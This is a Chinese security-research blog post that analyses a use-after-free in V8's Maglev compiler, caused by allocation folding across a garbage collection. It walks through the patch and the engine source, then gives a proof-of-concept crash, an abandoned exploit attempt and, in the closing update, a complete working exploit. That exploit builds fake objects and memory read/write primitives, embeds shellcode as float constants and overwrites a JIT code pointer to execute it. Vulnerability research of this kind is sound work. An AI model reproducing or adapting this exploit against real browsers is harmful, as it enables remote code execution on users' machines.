前言
这个漏洞发生在 MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct 函数中,考虑之前分析的 CVE-2023-4069 也是发生在该函数中,所以打算把该漏洞也分析了。该漏洞主要发生在折叠分配时,未考虑内存空间分配与初始化之间的操作可能导致触发 gc,从而导致 UAF
环境搭建
1 2 | git checkout d8fd81812d5a4c5c3449673b6a803279c4bdb2f2gclient sync -D |
漏洞分析
还是从 patch 入手:
1 2 3 4 5 6 7 8 9 10 11 12 | diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.ccindex ad7eccf..3dd3df5 100644--- a/src/maglev/maglev-graph-builder.cc+++ b/src/maglev/maglev-graph-builder.cc@@ -5597,6 +5597,7 @@ object = BuildAllocateFastObject( FastObject(new_target_function->AsJSFunction(), zone(), broker()), AllocationType::kYoung);+ ClearCurrentRawAllocation(); } else { object = BuildCallBuiltin<Builtin::kFastNewObject>( {GetConstant(current_function), new_target}); |
可以看到补丁代码非常简单,就是添加了个 ClearCurrentRawAllocation 函数:
1 2 3 | void MaglevGraphBuilder::ClearCurrentRawAllocation() { current_raw_allocation_ = nullptr;} |
该函数的功能为将 current_raw_allocation_ 指针清空
这里补丁代码打在了 TryBuildFindNonDefaultConstructorOrConstruct 函数中,其上层调用链为:
1 2 | VisitFindNonDefaultConstructorOrConstruct TryBuildFindNonDefaultConstructorOrConstruct |
而 VisitFindNonDefaultConstructorOrConstruct 其实我们在之前分析 CVE-2023-4069 时就详细分析过,其主要就是处理 FindNonDefaultConstructorOrConstruct 节点的,但是这里还是放一下代码分析吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() { ValueNode* this_function = LoadRegisterTagged(0); // target ValueNode* new_target = LoadRegisterTagged(1); // new_target auto register_pair = iterator_.GetRegisterPairOperand(2); // 先调用 TryBuildFindNonDefaultConstructorOrConstruct if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) { return; } // 失败则调用 Builtin_FindNonDefaultConstructorOrConstruct CallBuiltin* result = BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>({this_function, new_target}); StoreRegisterPair(register_pair, result);} |
这里会先调用 TryBuildFindNonDefaultConstructorOrConstruct 尝试进行图创建:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct( ValueNode* this_function, ValueNode* new_target, std::pair<interpreter::Register, interpreter::Register> result) { // See also: // JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct // 【1】获取 target constant compiler::OptionalHeapObjectRef maybe_constant = TryGetConstant(this_function); if (!maybe_constant) return false; // 获取 map 和原型链上的对象 compiler::MapRef function_map = maybe_constant->map(broker()); compiler::HeapObjectRef current = function_map.prototype(broker()); // TODO(v8:13091): Don't produce incomplete stack traces when debug is active. // We already deopt when a breakpoint is set. But it would be even nicer to // avoid producting incomplete stack traces when when debug is active, even if // there are no breakpoints - then a user inspecting stack traces via Dev // Tools would always see the full stack trace. // 遍历原型链 while (true) { // 遍历 __proto__ // 如果原型对象不是 JSFunction,则遍历结束 if (!current.IsJSFunction()) return false; // 当前原型对象 current_function compiler::JSFunctionRef current_function = current.AsJSFunction(); // If there are class fields, bail out. TODO(v8:13091): Handle them here. if (current_function.shared(broker()).requires_instance_members_initializer()) { return false; } // If there are private methods, bail out. TODO(v8:13091): Handle them here. if (current_function.context(broker()).scope_info(broker()).ClassScopeHasPrivateBrand()) { return false; } // 获取函数类型 kind FunctionKind kind = current_function.shared(broker()).kind(); // 如果是派生默认构造函数,则直接跳过 if (kind != FunctionKind::kDefaultDerivedConstructor) { // The hierarchy walk will end here; this is the last change to bail out // before creating new nodes. if (!broker()->dependencies()->DependOnArrayIteratorProtector()) { return false; } // 【2】获取 new_target constant compiler::OptionalHeapObjectRef new_target_function = TryGetConstant(new_target); // 如果是顶层默认构造函数,则进行相关处理 if (kind == FunctionKind::kDefaultBaseConstructor) { // Store the result register first, so that a lazy deopt in // `FastNewObject` writes `true` to this register. StoreRegister(result.first, GetBooleanConstant(true)); ValueNode* object; // new_target_function 存在且是 JSFunction // 并且 new_target_function 具有一个有效的 initial_map // 即 initial_map.constructor ==? target if (new_target_function && new_target_function->IsJSFunction() && HasValidInitialMap(new_target_function->AsJSFunction(), current_function)) { //【3】为对象分配空间 object = BuildAllocateFastObject( FastObject(new_target_function->AsJSFunction(), zone(), broker()), AllocationType::kYoung); } else { object = BuildCallBuiltin<Builtin::kFastNewObject>({GetConstant(current_function), new_target}); // We've already stored "true" into result.first, so a deopt here just // has to store result.second. Also mark result.first as being used, // since the lazy deopt frame won't have marked it since it used to be // a result register. current_interpreter_frame_.get(result.first)->add_use(); object->lazy_deopt_info()->UpdateResultLocation(result.second, 1); } StoreRegister(result.second, object); } else { StoreRegister(result.first, GetBooleanConstant(false)); StoreRegister(result.second, GetConstant(current)); } broker()->dependencies()->DependOnStablePrototypeChain( function_map, WhereToStart::kStartAtReceiver, current_function); return true; } // Keep walking up the class tree. // 遍历下一个 __proto__ current = current_function.map(broker()).prototype(broker()); }} |
可以看到这里我们可以将其分为快速路径和慢速路径,快速路径主要就是利用 new_target.initial 直接进行对象创建,慢速路径则退回到内建函数 FastNewObject,这里我们主要看快速路径,快速路径为 【1】->【2】->【3】,而 【3】 也是漏洞代码所在处,所以需要满足以下条件:
- 1、
TryGetConstant(this_function) - 2、
TryGetConstant(new_target) - 3、
new_target.initial.constructor === target
这里想要到达想要到达漏洞逻辑,得绕过这三个判断,前面两个还是之前的方式插入 CheckValue 节点绕过,第三个就不多说了,new_target 是派生构造函数即可,或者顶层默认构造函数也????,比较简单
最后为分配对象的语句如下,也是漏洞代码所在处:
1 2 3 | object = BuildAllocateFastObject( FastObject(new_target_function->AsJSFunction(), zone(), broker()), AllocationType::kYoung); |
然后跟进 BuildAllocateFastObject,看其是如何创建对象的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(FastObject object, AllocationType allocation_type) { SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone()); for (int i = 0; i < object.inobject_properties; ++i) { // MaglevGraphBuilder::BuildAllocateFastObject(FastField value, AllocationType allocation_type) properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type); } // elements // MaglevGraphBuilder::BuildAllocateFastObject(FastFixedArray value, AllocationType allocation_type) ValueNode* elements = BuildAllocateFastObject(object.elements, allocation_type); DCHECK(object.map.IsJSObjectMap()); // TODO(leszeks): Fold allocations. 尝试折叠分配,allocation 就是分配空间的指针 ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(object.instance_size, allocation_type); // 设置对象的 map,主要就是添加一个 StoreMap 节点 BuildStoreReceiverMap(allocation, object.map); // 设置 Properties 为 EmptyFixedArray,添加 StoreTaggedFieldNoWriteBarrier 节点 AddNewNode<StoreTaggedFieldNoWriteBarrier>( {allocation, GetRootConstant(RootIndex::kEmptyFixedArray)}, JSObject::kPropertiesOrHashOffset); if (object.js_array_length.has_value()) { // 如果 js_array_length 有值,则初始化 length // 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点 BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length), JSArray::kLengthOffset); } // 设置 Elements // 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点 BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset); // 设置属性 for (int i = 0; i < object.inobject_properties; ++i) { BuildStoreTaggedField(allocation, properties[i], object.map.GetInObjectPropertyOffset(i)); } return allocation;} |
这里可以看到分配空间调用了 ExtendOrReallocateCurrentRawAllocation 函数,其会尝试折叠分配:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation( int size, AllocationType allocation_type) { // 【1】 if (!current_raw_allocation_ || // current_raw_allocation_ 为空 current_raw_allocation_->allocation_type() != allocation_type || // 分配类型不一致 !v8_flags.inline_new) // 头一次分配 { // 分配 size 空间,节点为 AllocateRaw current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size); return current_raw_allocation_; } // 如果上面三个条件都不满足,则会走到这里 // 即 current_raw_allocation_ 不为空,且分配类型一致,且不是头一次分配 int current_size = current_raw_allocation_->size(); // 【2】检查是否可以折叠分配 // 如果折叠分配后空间太大,则单独分配,并更新 current_raw_allocation_ if (current_size + size > kMaxRegularHeapObjectSize) { return current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size); } // 【3】折叠分配,current_size 应当大于 0 DCHECK_GT(current_size, 0); int previous_end = current_size; // previous_end 即当前对象的起始位置 current_raw_allocation_->extend(size); // 扩展当前分配空间 // FoldedAllocation 节点,这里只记录 current_raw_allocation_ / previous_end 即可 // 该对象的位置为:current_raw_allocation_ + previous_end return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end); } |
先来说下什么是折叠分配?顾名思义,当我们在进行内存分配时,可能每次分配一小块内存,比如下面场景:
1 2 3 4 | ptr1 = malloc(0x10)do something1prt2 = malloc(0x20)do something2 |
而多次分配内存可能是一个比较耗时的行为,于是编译器在静态分析阶段,会尝试进行分配折叠优化:
1 2 3 4 | prt1 = current_raw_allocation_ = malloc(0x30)prt2 = current_raw_allocation_ + 0x10do something1do something2 |
这里就避免了多次内存分配,但在动态类型语言中,可能会出现一些问题,比如在 JavaScript 中,内存是由 gc 进行管理的,在 V8 中,没有被 root object 直接或间接引用的对象被标记为死对象,在触发 gc 时会被回收。所以考虑如下场景:
1 2 3 4 | var obj1 = AllocateRaw(0x10);do something1 ==> trigger gcvar obj2 = AllocateRaw(0x20);do something2 ==> use obj2 |
而如果此时发生分配折叠优化:
1 2 3 4 5 | var obj1 = AllocateRaw(0x30) = current_raw_allocation_var obj2 = current_raw_allocation_ + 0x10do something1 ==> trigger gcinit obj2do something2 ==> use obj2 |
这里的问题就是在分配完空间后,只对 obj1 的部分进行了初始化,而 obj2 的初始化则是在后面,那么如果在初始化 obj2 之前触发了 gc,那么此时 current_raw_allocation_+0x10 这后面的内存就会被回收掉,如果我们此时分配对象占据这块内存,后面 do something2 时,仍然使用 current_raw_allocation_+0x10,则导致 UAF
让我们回到该漏洞分析中,通过上面的分析我们可以知道:
- 在创建
this对象时,保留了current_raw_allocation_指针,所以如果后面存在内存分配,则可能发生分配折叠
poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | class A {}class B extends A { constructor() { const check = new new.target; super(); %DebugPrint(this); let g = new Array(0x1000).fill(2.2); // 触发 gc let o = [1.1,1.1,1.1,1.1,1.1,1.1]; // 会与 this 创建进行合并 }}for (let i = 0; i < 0x1000; i++) { Reflect.construct(B, [], A);} |
这里先来看下 Maglev IR:
调试分析下:
this 对象的地址为 0x2bca002ba4d5,instance_size = 12,与 Maglev IR 图是吻合的:
然后程序就 crash 了:
从调用栈中的函数名称可以知道,明显触发了 gc,而这里 rsi 的值为一个 --- 地址,所以发生内存访问错误。这里我们来看下 this 对象下方的内存:
这里我们换个角度看:0x2bca002ba4d5-1 = this_addr ==> o_addr = this_addr+12
看到这里其实就明白了,最开始分配了 84 字节的空间,减去 this 对象占据的头 12 字节的空间,还剩下 72 字节的空间,这 72 字节其实就是包含了 o 对象本身的空间和其 elements 占据的空间
而这段空间在 o 对象初始化之前在 gc 的过程中被释放了,然后又被其它对象占据了,所以在 o 初始化这段空间时就发生了 UAF,即把其它对象内容给覆盖了,所以后面的 rsi 为 0x2bca3ff19999 = 0x2bca00000000 + 0x3ff19999,这里的 0x3ff19999 就是 1.1 的头 4 字节
漏洞利用
嗯,,,笔者感觉这个漏洞想要稳定利用还是比较困难的,因为我们无法精准控制 gc,并且也无法精确控制释放后的内存被哪个对象占据。后面看看别人的 expliot 吧,主要是这里的 gc 搞得我很烦,还是太菜了~~~
======================== 后续 ================================
写利用写了两天,但是还是没写出来,gc 后似乎拿不到指定的内存,主要是 victim 始终在 this 对象的上方,不知道为啥,看参考文章说其应该在下方~~~太菜了,然后不想在继续浪费时间了,后面有灵感了在回来写利用,暂时留个坑
失败的 exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 | var buf = new ArrayBuffer(8);var dv = new DataView(buf);var u8 = new Uint8Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var roots = new Array(0x30000);var index = 0;function pair_u32_to_f64(l, h) { u32[0] = l; u32[1] = h; return f64[0];}function u64_to_f64(val) { u64[0] = val; return f64[0];}function f64_to_u64(val) { f64[0] = val; return u64[0];}function set_u64(val) { u64[0] = val;}function set_l(l) { u32[0] = l;}function set_h(h) { u32[1] = h;}function get_l() { return u32[0];}function get_h() { return u32[1];}function get_u64() { return u64[0];}function get_f64() { return f64[0];}function get_fl(val) { f64[0] = val; return u32[0];}function get_fh(val) { f64[0] = val; return u32[1];}function add_ref(obj) { roots[index++] = obj;}var gc_flag= false;function major_gc() { if (gc_flag) { new ArrayBuffer(0x7fe00000); return 0; } return 1;}function minor_gc() { if (gc_flag) { for (let i = 0; i < 8; i++) { add_ref(new ArrayBuffer(0x200000)); } add_ref(new ArrayBuffer(8)); return 2; } return 1;}function hexx(str, val) { console.log(str+": 0x"+val.toString(16));}function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms));}var spray_array = new Array(0xf700).fill(1.1);var element_start_addr = 0x00442139;var data_element_start_addr = element_start_addr + 7;var map_addr = data_element_start_addr + 0x1000;var fake_object_addr = map_addr + 0x1000;var element_map_addr = fake_object_addr + 0x200;//0x3204040400183c39 0x0a0007ff11000842spray_array[(map_addr - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x32040404); // 这里也可以直接照抄spray_array[(map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);spray_array[(fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);spray_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);/*0x61000000000004c50x004003ff0c0000b10x0000007d0000007d0x000006dd000007010x0000000000000000*/spray_array[(element_map_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x61000000000004c5n);spray_array[(element_map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x004003ff0c0000b1n);spray_array[(element_map_addr - data_element_start_addr) / 8 + 2] = u64_to_f64(0x0000007d0000007dn);spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x000006dd00000701n);spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000000n);/*0x000100010000062d0x000006f5000000000x0000018400002b290x0000000000000002*//*var descriptors_addr = element_map_addr + 0x100;spray_array[(descriptors_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x000100010000062dn);spray_array[(descriptors_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x000006f500000000n);spray_array[(descriptors_addr - data_element_start_addr) / 8 + 2] = pair_u32_to_f64(descriptors_addr+0x28, 0x00000184);spray_array[(descriptors_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000002n);spray_array[(descriptors_addr - data_element_start_addr) / 8 + 4] = u64_to_f64(0x0000000000000000n);spray_array[(descriptors_addr - data_element_start_addr) / 8 + 5] = u64_to_f64(0x0000000000000070n);*//*0xd6d6d7e2000003d50x0000006f00000001*/var str_addr = element_map_addr + 0x100;spray_array[(str_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0xd6d6d7e2000003d5n);spray_array[(str_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0000007000000001n);print("fake_object_addr:", pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1));hexx("fake_object_addr", fake_object_addr+1);hexx("element_map_addr", element_map_addr+1);//hexx("descriptors_addr", descriptors_addr+1);//print("TEST:", pair_u32_to_f64(0x41414141, 0x41414141));//var nnn = pair_u32_to_f64(0x41414141, 0x41414141);var header = pair_u32_to_f64(element_map_addr+1, 0x40);//var X = pair_u32_to_f64(descriptors_addr+0x28+1, descriptors_addr+0x28+1);var X = pair_u32_to_f64(str_addr+1, 1);var nnn = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);var debug = false;var empty_object = {};class A {}class B extends A { constructor() { const check = new new.target; let v = [ empty_object,empty_object,empty_object,empty_object, empty_object,empty_object,empty_object,empty_object, ]; super(); let o = [ header, header, header, header, X,X,X,X,X,X,X,X, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn, header, header, header, header, ]; this.o = o; this.v = v; } [100] = major_gc();}for (let i = 0; i < 200; i++) { if (i % 2 == 0) gc_flag = true; major_gc(); gc_flag = false;}var w = null;const N = 640;const M = 644;const S = 650;var block = null;for (let i = 0; i < S; i++) { gc_flag = false; if (i == N || (M < i && i < M+4)) { gc_flag = true; major_gc(); gc_flag = false; } if (i == M+3) { gc_flag = true; // major_gc(); // major_gc(); // major_gc(); // let tmp1 = { o:{}, v:{} }; // block = [1.1, 1.1, 1.1, 1.1, 1.1]; // let tmp2 = [ // empty_object,empty_object,empty_object,empty_object, // empty_object,empty_object,empty_object,empty_object, // ]; // minor_gc(); // %DebugPrint(tmp1); // %DebugPrint(block); // %DebugPrint(tmp2); } let r = Reflect.construct(B, [], A); if (i == M+3) w = r;}/*print("================ w ======================");%DebugPrint(w);print("================ w.o ====================");%DebugPrint(w.o);print("================ w.v ====================");%DebugPrint(w.v);print("=========================================");*/try { print(w.v[0]);} catch (m) { %DebugPrint(w['p']); %DebugPrint(w);}print("END"); |
如有读者能够写出稳定的利用,希望不吝赐教
================================== 更新 ===================
最后根据公开的 exp 并与 toka ?一起写出了 exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 | var buf = new ArrayBuffer(8);var dv = new DataView(buf);var u8 = new Uint8Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var roots = new Array(0x30000);var index = 0;function shellcode() { return [ 1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284 ];}for (let i = 0; i < 0x10000; i++) { shellcode();shellcode(); shellcode();shellcode(); shellcode();shellcode();}function pair_u32_to_f64(l, h) { u32[0] = l; u32[1] = h; return f64[0];}function u64_to_f64(val) { u64[0] = val; return f64[0];}function f64_to_u64(val) { f64[0] = val; return u64[0];}function set_u64(val) { u64[0] = val;}function set_l(l) { u32[0] = l;}function set_h(h) { u32[1] = h;}function get_l() { return u32[0];}function get_h() { return u32[1];}function get_u64() { return u64[0];}function get_f64() { return f64[0];}function get_fl(val) { f64[0] = val; return u32[0];}function get_fh(val) { f64[0] = val; return u32[1];}function add_ref(obj) { roots[index++] = obj;}function mark_sweep_gc() { new ArrayBuffer(0x7fe00000);}function scavenge_gc() { for (var i = 0; i < 8; i++) { this.add_ref(new ArrayBuffer(0x200000)); } this.add_ref(new ArrayBuffer(8));}function hexx(str, val) { console.log(str+": 0x"+val.toString(16));}function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms));}var big_double_array = new Array(0xf700).fill(1.1);var double_element_start_addr = 0x005c2139;var double_data_element_start_addr = double_element_start_addr + 7;var map_addr = double_data_element_start_addr + 0x1000;// 0x2f040404001c3d0d 0x0a0007ff11000842// 0x2f040404001c3d0d 0x0a0007ff15000842big_double_array[(map_addr - double_data_element_start_addr) / 8] = pair_u32_to_f64(double_data_element_start_addr+0x200+1, 0x2f040404);big_double_array[(map_addr - double_data_element_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff15000842n);var big_object_array = new Array(0xf700).fill({});var object_element_start_addr = 0x00642139;var object_data_element_start_addr = object_element_start_addr + 7;//%DebugPrint(big_double_array);//print("================================");//%DebugPrint(big_object_array);//print("================================");var corrupted_arr = [1.1];let fake_object_array;class C2{}class C3 extends C2 { constructor(obj,flag) { try { new.target(); } catch (e) {} super(); const v12 = new Array(32); const v14 = new Array(64); //%DebugPrint(v12); if(flag) { for (let v13 = 0; v13 < 2; v13++) { //var x = [0.1, 0.2, 0.3]; //%DebugPrint(x); //while(1){}; if(!v13) { scavenge_gc(); fake_object_array = [u64_to_f64("0x69000006f5001cf0"),u64_to_f64("0x65000060000004c5"),u64_to_f64("0x4400006000000005"),u64_to_f64("0x4422442244224422")]; } else{ obj.c = v12; obj.e = corrupted_arr; obj.d = v14 ; obj.f = fake_object_array ; } } } }}let obj = {a: [], c: "a" };for(let i =0;i<0x1000;i++){ new C3(obj,true); if(!(obj.d instanceof Array)) {break;}}//%DebugPrint(obj.d);//%DebugPrint(obj.f);hexx("object_element_start_addr", object_element_start_addr);//obj.f[1] = pair_u32_to_f64(map_addr+1, 0x6f5);obj.f[1] = pair_u32_to_f64(0x001cf091, 0x6f5);obj.f[2] = pair_u32_to_f64(object_element_start_addr, 0x100*2);//obj.f[1] = u64_to_f64(0x000006f5001cf091n);//%DebugPrint(obj.d);hexx("obj.d.length", obj.d.length);function addressOf(o) { obj.f[1] = pair_u32_to_f64(0x001cf091, 0x6f5); obj.f[2] = pair_u32_to_f64(object_element_start_addr, 0x100*2); big_object_array[0] = o;// %DebugPrint(obj.d); f64_to_u64(obj.d[0]); return u32[0];}//var test = [1.1];//addressOf(test);//%DebugPrint(test);//hexx("test addressOf", addressOf(test));//%DebugPrint(shellcode);shellcode_addr = addressOf(shellcode);hexx("shellcode_addr", shellcode_addr);obj.f[1] = pair_u32_to_f64(0x001cf091, 0x6f5);obj.f[2] = pair_u32_to_f64(shellcode_addr+8-8, 0x100*2);f64_to_u64(obj.d[0]);code_addr = u32[1];hexx("code_addr", code_addr);obj.f[1] = pair_u32_to_f64(0x001cf091, 0x6f5);obj.f[2] = pair_u32_to_f64(code_addr+0x10-8, 0x100*2);f64_to_u64(obj.d[0]);rwx = u32[1];hexx("rwx", rwx);obj.f[1] = pair_u32_to_f64(0x001cf091, 0x6f5);obj.f[2] = pair_u32_to_f64(code_addr+0x10-8, 0x100*2);u32[1] = rwx+0x53;obj.d[0] = f64[0];shellcode();//console.log(obj.d[0]);print("END");while(1){}; |

总结
通过分析该漏洞,学习到了分配折叠优化,目前已经通过复现漏洞学习了编译的如下常见优化方式:
- 常量折叠
- 公共子表达式消除
- 数组边界检查消除
- 逃逸分析
- 分配折叠
总的来说还是不错的,弥补了自己对编译器知识的匮乏,希望后面能够学到更多有趣的编译器漏洞
参考
Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution
